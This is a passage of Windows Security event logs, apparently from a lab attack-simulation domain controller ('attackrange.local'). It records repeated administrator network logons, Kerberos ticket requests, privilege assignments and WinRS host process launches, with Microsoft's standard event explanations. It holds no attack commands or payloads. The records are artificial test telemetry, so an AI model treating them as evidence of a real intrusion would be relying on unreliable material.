this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252871 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252870 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252869 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252868 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1390 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252867 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252866 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252865 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252864 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252863 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252862 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252861 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D1FB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252860 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252859 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178FF4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252858 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D1FB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D1FB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252856 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252855 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252854 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252853 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D052 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252852 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D052 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252851 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D052 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252850 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252849 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8EF1C707-086F-B8B4-15A2-7FDBEE789C2B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252848 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252847 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17ADC6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252846 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17A557 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252845 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17923F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252922 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x180B1F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252921 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x180B1F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252920 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:24 